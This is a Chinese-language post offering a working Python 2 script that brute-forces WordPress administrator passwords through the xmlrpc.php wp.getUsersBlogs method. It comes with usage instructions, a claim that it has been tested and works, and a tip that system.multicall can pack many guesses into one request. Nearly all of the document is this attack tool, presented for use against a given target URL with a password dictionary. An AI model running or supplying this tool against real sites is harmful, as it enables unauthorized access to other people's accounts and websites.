使用方法:
python wp.py username pass.txt https://www.xxs.com
#!/usr/bin/env python # -*- coding: gbk -*- # -*- coding: utf-8 -*- # Date: 2015/4/29 # Created by 独自等待 # 博客 http://www.waitalone.cn/ import os, sys, time import urllib2 def usage(): os.system(['clear', 'cls'][os.name == 'nt']) print '+' + '-' * 50 + '+' print '\t Python WordPress暴力破解工具单线程版' print '\t Blog:http://www.waitalone.cn/' print '\t Code BY: 独自等待' print '\t Time:2015-04-29' print '+' + '-' * 50 + '+' if len(sys.argv) != 4: print '用法: ' + os.path.basename(sys.argv[0]) + ' 用户名 密码字典 待破解的网站URL地址 ' print '实例: ' + os.path.basename(sys.argv[0]) + ' admin pass.txt http://www.waitalone.cn/ ' sys.exit() def crack(password): """ WordPress xmlrpc暴力破解 """ crack_url = url + 'xmlrpc.php' post = ''' <?xml version="1.0" encoding="iso-8859-1"?> <methodCall> <methodName>wp.getUsersBlogs</methodName> <params> <param><value>''' + username + '''</value></param> <param><value>''' + password + '''</value></param> </params> </methodCall> ''' header = { 'UserAgent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)', 'Referer': crack_url } try: req = urllib2.Request(crack_url, data=post, headers=header) res = urllib2.urlopen(req, timeout=10).read().decode('utf-8').encode('GBK') except Exception, msg: print '爷,发生错误了!', msg else: if '<int>405</int>' in res: print '[×] 报告爷,此站点已禁用XML-RPC服务!' sys.exit('\n[!] 卧槽,这么快就执行完了?用时:%s 秒' % (time.time() - start)) elif 'faultCode' in res: print '[×] 报告爷,正在尝试密码:', password elif 'isAdmin' in res: print '\n[√] 报告爷,密码破解成功:', password sys.exit('\n[!] 卧槽,这么快就执行完了?用时:%s 秒' % (time.time() - start)) if __name__ == '__main__': usage() username = sys.argv[1] url = sys.argv[3] if url[-1] != '/': url += '/' print '[√] 目标:', url + '\n' start = time.time() if os.path.isfile(sys.argv[2]): passlist = [x.strip() for x in open(sys.argv[2])] print '[√] 报告爷,共有密码[ %d ]行!\n' % len(passlist) try: for password in passlist: crack(password) except KeyboardInterrupt: print '\n[!] 爷,按您的吩咐,已成功退出!' else: print '[X] 爷,没找到密码字典,破解个毛呀?'
经测试,可用!
这里还讲到,可以使用system.multicall方法,在单个请求中进行多次尝试(即允许应用程序通过一条HTTP请求,执行多个命令)。